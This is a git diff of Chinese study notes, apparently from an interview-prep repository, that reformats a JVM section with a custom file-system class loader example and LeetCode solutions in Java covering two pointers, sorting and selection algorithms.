+    protected Class<?> findClass(String name) throws ClassNotFoundException {
+        throw new ClassNotFoundException(name);
+    }
 }
 ```
 
-## 自定义类加载器实现
+## 自定义类加载器实现
 
-FileSystemClassLoader 是自定义类加载器，继承自 java.lang.ClassLoader，用于加载文件系统上的类。它首先根据类的全名在文件系统上查找类的字节代码文件（.class 文件），然后读取该文件内容，最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。
+FileSystemClassLoader 是自定义类加载器，继承自 java.lang.ClassLoader，用于加载文件系统上的类。它首先根据类的全名在文件系统上查找类的字节代码文件（.class 文件），然后读取该文件内容，最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。
 
-java.lang.ClassLoader 的 loadClass() 实现了双亲委派模型的逻辑，因此自定义类加载器一般不去重写它，但是需要重写 findClass() 方法。
+java.lang.ClassLoader 的 loadClass() 实现了双亲委派模型的逻辑，因此自定义类加载器一般不去重写它，但是需要重写 findClass() 方法。
 
 ```java
-public class FileSystemClassLoader extends ClassLoader {
+public class FileSystemClassLoader extends ClassLoader {
 
-    private String rootDir;
+    private String rootDir;
 
-    public FileSystemClassLoader(String rootDir) {
-        this.rootDir = rootDir;
-    }
+    public FileSystemClassLoader(String rootDir) {
+        this.rootDir = rootDir;
+    }
 
-    protected Class<?> findClass(String name) throws ClassNotFoundException {
-        byte[] classData = getClassData(name);
-        if (classData == null) {
-            throw new ClassNotFoundException();
-        } else {
-            return defineClass(name, classData, 0, classData.length);
-        }
-    }
+    protected Class<?> findClass(String name) throws ClassNotFoundException {
+        byte[] classData = getClassData(name);
+        if (classData == null) {
+            throw new ClassNotFoundException();
+        } else {
+            return defineClass(name, classData, 0, classData.length);
+        }
+    }
 
-    private byte[] getClassData(String className) {
-        String path = classNameToPath(className);
-        try {
-            InputStream ins = new FileInputStream(path);
-            ByteArrayOutputStream baos = new ByteArrayOutputStream();
-            int bufferSize = 4096;
-            byte[] buffer = new byte[bufferSize];
-            int bytesNumRead;
-            while ((bytesNumRead = ins.read(buffer)) != -1) {
-                baos.write(buffer, 0, bytesNumRead);
-            }
-            return baos.toByteArray();
-        } catch (IOException e) {
-            e.printStackTrace();
-        }
-        return null;
-    }
+    private byte[] getClassData(String className) {
+        String path = classNameToPath(className);
+        try {
+            InputStream ins = new FileInputStream(path);
+            ByteArrayOutputStream baos = new ByteArrayOutputStream();
+            int bufferSize = 4096;
+            byte[] buffer = new byte[bufferSize];
+            int bytesNumRead;
+            while ((bytesNumRead = ins.read(buffer)) != -1) {
+                baos.write(buffer, 0, bytesNumRead);
+            }
+            return baos.toByteArray();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
 
-    private String classNameToPath(String className) {
-        return rootDir + File.separatorChar
-                + className.replace('.', File.separatorChar) + ".class";
-    }
+    private String classNameToPath(String className) {
+        return rootDir + File.separatorChar
+                + className.replace('.', File.separatorChar) + ".class";
+    }
 }
 ```
 
-# 参考资料
+# 参考资料
 
-- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
-- [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
-- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
-[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html)
-- [JNI Part1: Java Native Interface Introduction and “Hello World” application](http://electrofriends.com/articles/jni/jni-part1-java-native-interface/)
-- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
-- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
-- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
-- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
-- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
-- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
-- [深入探讨 Java 类加载器](https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html#code6)
-- [Guide to WeakHashMap in Java](http://www.baeldung.com/java-weakhashmap)
-- [Tomcat example source code file (ConcurrentCache.java)](https://alvinalexander.com/java/jwarehouse/apache-tomcat-6.0.16/java/org/apache/el/util/ConcurrentCache.java.shtml)
+- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
+- [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
+- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
+[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html)
+- [JNI Part1: Java Native Interface Introduction and “Hello World” application](http://electrofriends.com/articles/jni/jni-part1-java-native-interface/)
+- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
+- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
+- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
+- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
+- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
+- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
+- [深入探讨 Java 类加载器](https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html#code6)
+- [Guide to WeakHashMap in Java](http://www.baeldung.com/java-weakhashmap)
+- [Tomcat example source code file (ConcurrentCache.java)](https://alvinalexander.com/java/jwarehouse/apache-tomcat-6.0.16/java/org/apache/el/util/ConcurrentCache.java.shtml)
+---bottom---CyC---
+![](index_files/ab701824-e308-4284-88b6-596cc606fadb.png)
+![](index_files/28ab96b4-82ea-4d99-99fb-b320f60d0a58.png)
+![](index_files/JNI-Java-Native-Interface.jpg)
+![](index_files/0635cbe8.png)
+![](index_files/a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg)
+![](index_files/902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg)
+![](index_files/e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg)
+![](index_files/c625baa0-dde6-449e-93df-c3a67f2f430f.jpg)
+![](index_files/22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg)
+![](index_files/81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg)
+![](index_files/08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg)
+![](index_files/278fe431-af88-4a95-a895-9c3b80117de3.jpg)
+![](index_files/62e77997-6957-4b68-8d12-bfd609bb2c68.jpg)
+![](index_files/4cf711a8-7ab2-4152-b85c-d5c226733807.png)
+![](index_files/9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png)
+![](index_files/f99ee771-c56f-47fb-9148-c0036695b5fe.jpg)
+![](index_files/32b8374a-e822-4720-af0b-c0f485095ea2.jpg)
+![](index_files/class_loader_hierarchy.png)
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 9310948f..a7564b1b 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -1,419 +1,363 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [算法思想](#算法思想)
-    * [双指针](#双指针)
-    * [排序](#排序)
-        * [快速选择](#快速选择)
-        * [堆排序](#堆排序)
-        * [桶排序](#桶排序)
-        * [荷兰国旗问题](#荷兰国旗问题)
-    * [贪心思想](#贪心思想)
-    * [二分查找](#二分查找)
-    * [分治](#分治)
-    * [搜索](#搜索)
-        * [BFS](#bfs)
-        * [DFS](#dfs)
-        * [Backtracking](#backtracking)
-    * [动态规划](#动态规划)
-        * [斐波那契数列](#斐波那契数列)
-        * [矩阵路径](#矩阵路径)
-        * [数组区间](#数组区间)
-        * [分割整数](#分割整数)
-        * [最长递增子序列](#最长递增子序列)
-        * [最长公共子序列](#最长公共子序列)
-        * [0-1 背包](#0-1-背包)
-        * [股票交易](#股票交易)
-        * [字符串编辑](#字符串编辑)
-    * [数学](#数学)
-        * [素数](#素数)
-        * [最大公约数](#最大公约数)
-        * [进制转换](#进制转换)
-        * [阶乘](#阶乘)
-        * [字符串加法减法](#字符串加法减法)
-        * [相遇问题](#相遇问题)
-        * [多数投票问题](#多数投票问题)
-        * [其它](#其它)
-* [数据结构相关](#数据结构相关)
-    * [链表](#链表)
-    * [树](#树)
-        * [递归](#递归)
-        * [层次遍历](#层次遍历)
-        * [前中后序遍历](#前中后序遍历)
-        * [BST](#bst)
-        * [Trie](#trie)
-    * [栈和队列](#栈和队列)
-    * [哈希表](#哈希表)
-    * [字符串](#字符串)
-    * [数组与矩阵](#数组与矩阵)
-    * [图](#图)
-        * [二分图](#二分图)
-        * [拓扑排序](#拓扑排序)
-        * [并查集](#并查集)
-    * [位运算](#位运算)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 算法思想
 
-
-# 算法思想
-
-## 双指针
+## 双指针
 
 双指针主要用于遍历数组，两个指针指向不同的元素，从而协同完成任务。
 
-**有序数组的 Two Sum** 
+**有序数组的 Two Sum**
 
-[Leetcode ：167. Two Sum II - Input array is sorted (Easy)](https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/description/)
+[Leetcode ：167. Two Sum II - Input array is sorted (Easy)](https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/description/)
 
 ```html
-Input: numbers={2, 7, 11, 15}, target=9
-Output: index1=1, index2=2
+Input: numbers={2, 7, 11, 15}, target=9
+Output: index1=1, index2=2
 ```
 
-题目描述：在有序数组中找出两个数，使它们的和为 target。
+题目描述：在有序数组中找出两个数，使它们的和为 target。
 
 使用双指针，一个指针指向值较小的元素，一个指针指向值较大的元素。指向较小元素的指针从头向尾遍历，指向较大元素的指针从尾向头遍历。
 
-- 如果两个指针指向元素的和 sum == target，那么得到要求的结果；
-- 如果 sum > target，移动较大的元素，使 sum 变小一些；
-- 如果 sum < target，移动较小的元素，使 sum 变大一些。
+- 如果两个指针指向元素的和 sum == target，那么得到要求的结果；
+- 如果 sum > target，移动较大的元素，使 sum 变小一些；
+- 如果 sum < target，移动较小的元素，使 sum 变大一些。
 
 ```java
-public int[] twoSum(int[] numbers, int target) {
-    int i = 0, j = numbers.length - 1;
-    while (i < j) {
-        int sum = numbers[i] + numbers[j];
-        if (sum == target) {
-            return new int[]{i + 1, j + 1};
-        } else if (sum < target) {
-            i++;
-        } else {
-            j--;
-        }
-    }
-    return null;
+public int[] twoSum(int[] numbers, int target) {
+    int i = 0, j = numbers.length - 1;
+    while (i < j) {
+        int sum = numbers[i] + numbers[j];
+        if (sum == target) {
+            return new int[]{i + 1, j + 1};
+        } else if (sum < target) {
+            i++;
+        } else {
+            j--;
+        }
+    }
+    return null;
 }
 ```
 
-**两数平方和** 
+**两数平方和**
 
-[633. Sum of Square Numbers (Easy)](https://leetcode.com/problems/sum-of-square-numbers/description/)
+[633. Sum of Square Numbers (Easy)](https://leetcode.com/problems/sum-of-square-numbers/description/)
 
 ```html
-Input: 5
-Output: True
-Explanation: 1 * 1 + 2 * 2 = 5
+Input: 5
+Output: True
+Explanation: 1 * 1 + 2 * 2 = 5
 ```
 
 题目描述：判断一个数是否为两个数的平方和。
 
 ```java
-public boolean judgeSquareSum(int c) {
-    int i = 0, j = (int) Math.sqrt(c);
-    while (i <= j) {
-        int powSum = i * i + j * j;
-        if (powSum == c) {
-            return true;
-        } else if (powSum > c) {
-            j--;
-        } else {
-            i++;
-        }
-    }
-    return false;
+public boolean judgeSquareSum(int c) {
+    int i = 0, j = (int) Math.sqrt(c);
+    while (i <= j) {
+        int powSum = i * i + j * j;
+        if (powSum == c) {
+            return true;
+        } else if (powSum > c) {
+            j--;
+        } else {
+            i++;
+        }
+    }
+    return false;
 }
 ```
 
-**反转字符串中的元音字符** 
+**反转字符串中的元音字符**
 
-[345. Reverse Vowels of a String (Easy)](https://leetcode.com/problems/reverse-vowels-of-a-string/description/)
+[345. Reverse Vowels of a String (Easy)](https://leetcode.com/problems/reverse-vowels-of-a-string/description/)
 
 ```html
-Given s = "leetcode", return "leotcede".
+Given s = "leetcode", return "leotcede".
 ```
 
 使用双指针指向待反转的两个元音字符，一个指针从头向尾遍历，一个指针从尾到头遍历。
 
 ```java
-private final static HashSet<Character> vowels = new HashSet<>(Arrays.asList('a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U'));
+private final static HashSet<Character> vowels = new HashSet<>(Arrays.asList('a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U'));
 
-public String reverseVowels(String s) {
-    int i = 0, j = s.length() - 1;
-    char[] result = new char[s.length()];
-    while (i <= j) {
-        char ci = s.charAt(i);
-        char cj = s.charAt(j);
-        if (!vowels.contains(ci)) {
-            result[i++] = ci;
-        } else if (!vowels.contains(cj)) {
-            result[j--] = cj;
-        } else {
-            result[i++] = cj;
-            result[j--] = ci;
-        }
-    }
-    return new String(result);
+public String reverseVowels(String s) {
+    int i = 0, j = s.length() - 1;
+    char[] result = new char[s.length()];
+    while (i <= j) {
+        char ci = s.charAt(i);
+        char cj = s.charAt(j);
+        if (!vowels.contains(ci)) {
+            result[i++] = ci;
+        } else if (!vowels.contains(cj)) {
+            result[j--] = cj;
+        } else {
+            result[i++] = cj;
+            result[j--] = ci;
+        }
+    }
+    return new String(result);
 }
 ```
 
-**回文字符串** 
+**回文字符串**
 
-[680. Valid Palindrome II (Easy)](https://leetcode.com/problems/valid-palindrome-ii/description/)
+[680. Valid Palindrome II (Easy)](https://leetcode.com/problems/valid-palindrome-ii/description/)
 
 ```html
-Input: "abca"
-Output: True
-Explanation: You could delete the character 'c'.
+Input: "abca"
+Output: True
+Explanation: You could delete the character 'c'.
 ```
 
 题目描述：可以删除一个字符，判断是否能构成回文字符串。
 
 ```java
-public boolean validPalindrome(String s) {
-    int i = -1, j = s.length();
-    while (++i < --j) {
-        if (s.charAt(i) != s.charAt(j)) {
-            return isPalindrome(s, i, j - 1) || isPalindrome(s, i + 1, j);
-        }
-    }
-    return true;
+public boolean validPalindrome(String s) {
+    int i = -1, j = s.length();
+    while (++i < --j) {
+        if (s.charAt(i) != s.charAt(j)) {
+            return isPalindrome(s, i, j - 1) || isPalindrome(s, i + 1, j);
+        }
+    }
+    return true;
 }
 
-private boolean isPalindrome(String s, int i, int j) {
-    while (i < j) {
-        if (s.charAt(i++) != s.charAt(j--)) {
-            return false;
-        }
-    }
-    return true;
+private boolean isPalindrome(String s, int i, int j) {
+    while (i < j) {
+        if (s.charAt(i++) != s.charAt(j--)) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-**归并两个有序数组** 
+**归并两个有序数组**
 
-[88. Merge Sorted Array (Easy)](https://leetcode.com/problems/merge-sorted-array/description/)
+[88. Merge Sorted Array (Easy)](https://leetcode.com/problems/merge-sorted-array/description/)
 
 ```html
 Input:
-nums1 = [1,2,3,0,0,0], m = 3
-nums2 = [2,5,6],       n = 3
+nums1 = [1,2,3,0,0,0], m = 3
+nums2 = [2,5,6],       n = 3
 
-Output: [1,2,2,3,5,6]
+Output: [1,2,2,3,5,6]
 ```
 
 题目描述：把归并结果存到第一个数组上。
 
-需要从尾开始遍历，否则在 nums1 上归并得到的值会覆盖还未进行归并比较的值。
+需要从尾开始遍历，否则在 nums1 上归并得到的值会覆盖还未进行归并比较的值。
 
 ```java
-public void merge(int[] nums1, int m, int[] nums2, int n) {
-    int index1 = m - 1, index2 = n - 1;
-    int indexMerge = m + n - 1;
-    while (index1 >= 0 || index2 >= 0) {
-        if (index1 < 0) {
-            nums1[indexMerge--] = nums2[index2--];
-        } else if (index2 < 0) {
-            nums1[indexMerge--] = nums1[index1--];
-        } else if (nums1[index1] > nums2[index2]) {
-            nums1[indexMerge--] = nums1[index1--];
-        } else {
-            nums1[indexMerge--] = nums2[index2--];
-        }
-    }
+public void merge(int[] nums1, int m, int[] nums2, int n) {
+    int index1 = m - 1, index2 = n - 1;
+    int indexMerge = m + n - 1;
+    while (index1 >= 0 || index2 >= 0) {
+        if (index1 < 0) {
+            nums1[indexMerge--] = nums2[index2--];
+        } else if (index2 < 0) {
+            nums1[indexMerge--] = nums1[index1--];
+        } else if (nums1[index1] > nums2[index2]) {
+            nums1[indexMerge--] = nums1[index1--];
+        } else {
+            nums1[indexMerge--] = nums2[index2--];
+        }
+    }
 }
 ```
 
-**判断链表是否存在环** 
+**判断链表是否存在环**
 
-[141. Linked List Cycle (Easy)](https://leetcode.com/problems/linked-list-cycle/description/)
+[141. Linked List Cycle (Easy)](https://leetcode.com/problems/linked-list-cycle/description/)
 
 使用双指针，一个指针每次移动一个节点，一个指针每次移动两个节点，如果存在环，那么这两个指针一定会相遇。
 
 ```java
-public boolean hasCycle(ListNode head) {
-    if (head == null) {
-        return false;
-    }
-    ListNode l1 = head, l2 = head.next;
-    while (l1 != null && l2 != null && l2.next != null) {
-        if (l1 == l2) {
-            return true;
-        }
-        l1 = l1.next;
-        l2 = l2.next.next;
-    }
-    return false;
+public boolean hasCycle(ListNode head) {
+    if (head == null) {
+        return false;
+    }
+    ListNode l1 = head, l2 = head.next;
+    while (l1 != null && l2 != null && l2.next != null) {
+        if (l1 == l2) {
+            return true;
+        }
+        l1 = l1.next;
+        l2 = l2.next.next;
+    }
+    return false;
 }
 ```
 
-**最长子序列** 
+**最长子序列**
 
-[524. Longest Word in Dictionary through Deleting (Medium)](https://leetcode.com/problems/longest-word-in-dictionary-through-deleting/description/)
+[524. Longest Word in Dictionary through Deleting (Medium)](https://leetcode.com/problems/longest-word-in-dictionary-through-deleting/description/)
 
 ```
 Input:
-s = "abpcplea", d = ["ale","apple","monkey","plea"]
+s = "abpcplea", d = ["ale","apple","monkey","plea"]
 
 Output:
 "apple"
 ```
 
-题目描述：删除 s 中的一些字符，使得它构成字符串列表 d 中的一个字符串，找出能构成的最长字符串。如果有多个相同长度的结果，返回字典序的最小字符串。
+题目描述：删除 s 中的一些字符，使得它构成字符串列表 d 中的一个字符串，找出能构成的最长字符串。如果有多个相同长度的结果，返回字典序的最小字符串。
 
 ```java
-public String findLongestWord(String s, List<String> d) {
-    String longestWord = "";
-    for (String target : d) {
-        int l1 = longestWord.length(), l2 = target.length();
-        if (l1 > l2 || (l1 == l2 && longestWord.compareTo(target) < 0)) {
-            continue;
-        }
-        if (isValid(s, target)) {
-            longestWord = target;
-        }
-    }
-    return longestWord;
+public String findLongestWord(String s, List<String> d) {
+    String longestWord = "";
+    for (String target : d) {
+        int l1 = longestWord.length(), l2 = target.length();
+        if (l1 > l2 || (l1 == l2 && longestWord.compareTo(target) < 0)) {
+            continue;
+        }
+        if (isValid(s, target)) {
+            longestWord = target;
+        }
+    }
+    return longestWord;
 }
 
-private boolean isValid(String s, String target) {
-    int i = 0, j = 0;
-    while (i < s.length() && j < target.length()) {
-        if (s.charAt(i) == target.charAt(j)) {
-            j++;
-        }
-        i++;
-    }
-    return j == target.length();
+private boolean isValid(String s, String target) {
+    int i = 0, j = 0;
+    while (i < s.length() && j < target.length()) {
+        if (s.charAt(i) == target.charAt(j)) {
+            j++;
+        }
+        i++;
+    }
+    return j == target.length();
 }
 ```
 
-## 排序
+## 排序
 
-### 快速选择
+### 快速选择
 
-用于求解  **Kth Element**  问题，使用快速排序的 partition() 进行实现。
+用于求解 **Kth Element** 问题，使用快速排序的 partition() 进行实现。
 
-需要先打乱数组，否则最坏情况下时间复杂度为 O(N<sup>2</sup>)。
+需要先打乱数组，否则最坏情况下时间复杂度为 O(N<sup>2</sup>)。
 
-### 堆排序
+### 堆排序
 
-用于求解  **TopK Elements**  问题，通过维护一个大小为 K 的堆，堆中的元素就是 TopK Elements。
+用于求解 **TopK Elements** 问题，通过维护一个大小为 K 的堆，堆中的元素就是 TopK Elements。
 
-堆排序也可以用于求解 Kth Element 问题，堆顶元素就是 Kth Element。
+堆排序也可以用于求解 Kth Element 问题，堆顶元素就是 Kth Element。
 
-快速选择也可以求解 TopK Elements 问题，因为找到 Kth Element 之后，再遍历一次数组，所有小于等于 Kth Element 的元素都是 TopK Elements。
+快速选择也可以求解 TopK Elements 问题，因为找到 Kth Element 之后，再遍历一次数组，所有小于等于 Kth Element 的元素都是 TopK Elements。
 
-可以看到，快速选择和堆排序都可以求解 Kth Element 和 TopK Elements 问题。
+可以看到，快速选择和堆排序都可以求解 Kth Element 和 TopK Elements 问题。
 
-**Kth Element** 
+**Kth Element**
 
-[215. Kth Largest Element in an Array (Medium)](https://leetcode.com/problems/kth-largest-element-in-an-array/description/)
+[215. Kth Largest Element in an Array (Medium)](https://leetcode.com/problems/kth-largest-element-in-an-array/description/)
 
-题目描述：找到第 k 大的元素。
+题目描述：找到第 k 大的元素。
 
-**排序** ：时间复杂度 O(NlogN)，空间复杂度 O(1)
+**排序**：时间复杂度 O(NlogN)，空间复杂度 O(1)
 
 ```java
-public int findKthLargest(int[] nums, int k) {
-    Arrays.sort(nums);
-    return nums[nums.length - k];
+public int findKthLargest(int[] nums, int k) {
+    Arrays.sort(nums);
+    return nums[nums.length - k];
 }
 ```
 
-**堆排序** ：时间复杂度 O(NlogK)，空间复杂度 O(K)。
+**堆排序**：时间复杂度 O(NlogK)，空间复杂度 O(K)。
 
 ```java
-public int findKthLargest(int[] nums, int k) {
-    PriorityQueue<Integer> pq = new PriorityQueue<>(); // 小顶堆
-    for (int val : nums) {
-        pq.add(val);
-        if (pq.size() > k)  // 维护堆的大小为 K
-            pq.poll();
-    }
-    return pq.peek();
+public int findKthLargest(int[] nums, int k) {
+    PriorityQueue<Integer> pq = new PriorityQueue<>(); // 小顶堆
+    for (int val : nums) {
+        pq.add(val);
+        if (pq.size() > k)  // 维护堆的大小为 K
+            pq.poll();
+    }
+    return pq.peek();
 }
 ```
 
-**快速选择** ：时间复杂度 O(N)，空间复杂度 O(1)
+**快速选择**：时间复杂度 O(N)，空间复杂度 O(1)
 
 ```java
-public int findKthLargest(int[] nums, int k) {
-    k = nums.length - k;
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int j = partition(nums, l, h);
-        if (j == k) {
-            break;
-        } else if (j < k) {
-            l = j + 1;
-        } else {
-            h = j - 1;
-        }
-    }
-    return nums[k];
+public int findKthLargest(int[] nums, int k) {
+    k = nums.length - k;
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int j = partition(nums, l, h);
+        if (j == k) {
+            break;
+        } else if (j < k) {
+            l = j + 1;
+        } else {
+            h = j - 1;
+        }
+    }
+    return nums[k];
 }
 
-private int partition(int[] a, int l, int h) {
-    int i = l, j = h + 1;
-    while (true) {
-        while (a[++i] < a[l] && i < h) ;
-        while (a[--j] > a[l] && j > l) ;
-        if (i >= j) {
-            break;
-        }
-        swap(a, i, j);
-    }
-    swap(a, l, j);
-    return j;
+private int partition(int[] a, int l, int h) {
+    int i = l, j = h + 1;
+    while (true) {
+        while (a[++i] < a[l] && i < h) ;
+        while (a[--j] > a[l] && j > l) ;
+        if (i >= j) {
+            break;
+        }
+        swap(a, i, j);
+    }
+    swap(a, l, j);
+    return j;
 }
 
-private void swap(int[] a, int i, int j) {
-    int t = a[i];
-    a[i] = a[j];
-    a[j] = t;
+private void swap(int[] a, int i, int j) {
+    int t = a[i];
+    a[i] = a[j];
+    a[j] = t;
 }
 ```
 
-### 桶排序
+### 桶排序
 
-**出现频率最多的 k 个数** 
+**出现频率最多的 k 个数**
 
-[347. Top K Frequent Elements (Medium)](https://leetcode.com/problems/top-k-frequent-elements/description/)
+[347. Top K Frequent Elements (Medium)](https://leetcode.com/problems/top-k-frequent-elements/description/)
 
 ```html
-Given [1,1,1,2,2,3] and k = 2, return [1,2].
+Given [1,1,1,2,2,3] and k = 2, return [1,2].
 ```
 
-设置若干个桶，每个桶存储出现频率相同的数，并且桶的下标代表桶中数出现的频率，即第 i 个桶中存储的数出现的频率为 i。
+设置若干个桶，每个桶存储出现频率相同的数，并且桶的下标代表桶中数出现的频率，即第 i 个桶中存储的数出现的频率为 i。
 
-把数都放到桶之后，从后向前遍历桶，最先得到的 k 个数就是出现频率最多的的 k 个数。
+把数都放到桶之后，从后向前遍历桶，最先得到的 k 个数就是出现频率最多的的 k 个数。
 
 ```java
-public List<Integer> topKFrequent(int[] nums, int k) {
-    Map<Integer, Integer> frequencyForNum = new HashMap<>();
-    for (int num : nums) {
-        frequencyForNum.put(num, frequencyForNum.getOrDefault(num, 0) + 1);
-    }
-    List<Integer>[] buckets = new ArrayList[nums.length + 1];
-    for (int key : frequencyForNum.keySet()) {
-        int frequency = frequencyForNum.get(key);
-        if (buckets[frequency] == null) {
-            buckets[frequency] = new ArrayList<>();
-        }
-        buckets[frequency].add(key);
-    }
-    List<Integer> topK = new ArrayList<>();
-    for (int i = buckets.length - 1; i >= 0 && topK.size() < k; i--) {
-        if (buckets[i] != null) {
-            topK.addAll(buckets[i]);
-        }
-    }
-    return topK;
+public List<Integer> topKFrequent(int[] nums, int k) {
+    Map<Integer, Integer> frequencyForNum = new HashMap<>();
+    for (int num : nums) {
+        frequencyForNum.put(num, frequencyForNum.getOrDefault(num, 0) + 1);
+    }
+    List<Integer>[] buckets = new ArrayList[nums.length + 1];
+    for (int key : frequencyForNum.keySet()) {
+        int frequency = frequencyForNum.get(key);
+        if (buckets[frequency] == null) {
+            buckets[frequency] = new ArrayList<>();
+        }
+        buckets[frequency].add(key);
+    }
+    List<Integer> topK = new ArrayList<>();
+    for (int i = buckets.length - 1; i >= 0 && topK.size() < k; i--) {
+        if (buckets[i] != null) {
+            topK.addAll(buckets[i]);
+        }
+    }
+    return topK;
 }
 ```
 
-**按照字符出现次数对字符串排序** 
+**按照字符出现次数对字符串排序**
 
-[451. Sort Characters By Frequency (Medium)](https://leetcode.com/problems/sort-characters-by-frequency/description/)
+[451. Sort Characters By Frequency (Medium)](https://leetcode.com/problems/sort-characters-by-frequency/description/)
 
 ```html
 Input:
@@ -423,40 +367,40 @@ Output:
 "eert"
 
 Explanation:
-'e' appears twice while 'r' and 't' both appear once.
-So 'e' must appear before both 'r' and 't'. Therefore "eetr" is also a valid answer.
+'e' appears twice while 'r' and 't' both appear once.
+So 'e' must appear before both 'r' and 't'. Therefore "eetr" is also a valid answer.
 ```
 
 ```java
-public String frequencySort(String s) {
-    Map<Character, Integer> frequencyForNum = new HashMap<>();
-    for (char c : s.toCharArray())
-        frequencyForNum.put(c, frequencyForNum.getOrDefault(c, 0) + 1);
+public String frequencySort(String s) {
+    Map<Character, Integer> frequencyForNum = new HashMap<>();
+    for (char c : s.toCharArray())
+        frequencyForNum.put(c, frequencyForNum.getOrDefault(c, 0) + 1);
 
-    List<Character>[] frequencyBucket = new ArrayList[s.length() + 1];
-    for (char c : frequencyForNum.keySet()) {
-        int f = frequencyForNum.get(c);
-        if (frequencyBucket[f] == null) {
-            frequencyBucket[f] = new ArrayList<>();
-        }
-        frequencyBucket[f].add(c);
-    }
-    StringBuilder str = new StringBuilder();
-    for (int i = frequencyBucket.length - 1; i >= 0; i--) {
-        if (frequencyBucket[i] == null) {
-            continue;
-        }
-        for (char c : frequencyBucket[i]) {
-            for (int j = 0; j < i; j++) {
-                str.append(c);
-            }
-        }
-    }
-    return str.toString();
+    List<Character>[] frequencyBucket = new ArrayList[s.length() + 1];
+    for (char c : frequencyForNum.keySet()) {
+        int f = frequencyForNum.get(c);
+        if (frequencyBucket[f] == null) {
+            frequencyBucket[f] = new ArrayList<>();
+        }
+        frequencyBucket[f].add(c);
+    }
+    StringBuilder str = new StringBuilder();
+    for (int i = frequencyBucket.length - 1; i >= 0; i--) {
+        if (frequencyBucket[i] == null) {
+            continue;
+        }
+        for (char c : frequencyBucket[i]) {
+            for (int j = 0; j < i; j++) {
+                str.append(c);
+            }
+        }
+    }
+    return str.toString();
 }
 ```
 
-### 荷兰国旗问题
+### 荷兰国旗问题
 
 荷兰国旗包含三种颜色：红、白、蓝。
 
@@ -464,96 +408,96 @@ public String frequencySort(String s) {
 
 它其实是三向切分快速排序的一种变种，在三向切分快速排序中，每次切分都将数组分成三个区间：小于切分元素、等于切分元素、大于切分元素，而该算法是将数组分成三个区间：等于红色、等于白色、等于蓝色。
 
-<div align="center"> <img src="pics/3b49dd67-2c40-4b81-8ad2-7bbb1fe2fcbd.png"/> </div><br>
+![](index_files/3b49dd67-2c40-4b81-8ad2-7bbb1fe2fcbd.png)
 
-**按颜色进行排序** 
+**按颜色进行排序**
 
-[75. Sort Colors (Medium)](https://leetcode.com/problems/sort-colors/description/)
+[75. Sort Colors (Medium)](https://leetcode.com/problems/sort-colors/description/)
 
 ```html
-Input: [2,0,2,1,1,0]
-Output: [0,0,1,1,2,2]
+Input: [2,0,2,1,1,0]
+Output: [0,0,1,1,2,2]
 ```
 
-题目描述：只有 0/1/2 三种颜色。
+题目描述：只有 0/1/2 三种颜色。
 
 ```java
-public void sortColors(int[] nums) {
-    int zero = -1, one = 0, two = nums.length;
-    while (one < two) {
-        if (nums[one] == 0) {
-            swap(nums, ++zero, one++);
-        } else if (nums[one] == 2) {
-            swap(nums, --two, one);
-        } else {
-            ++one;
-        }
-    }
+public void sortColors(int[] nums) {
+    int zero = -1, one = 0, two = nums.length;
+    while (one < two) {
+        if (nums[one] == 0) {
+            swap(nums, ++zero, one++);
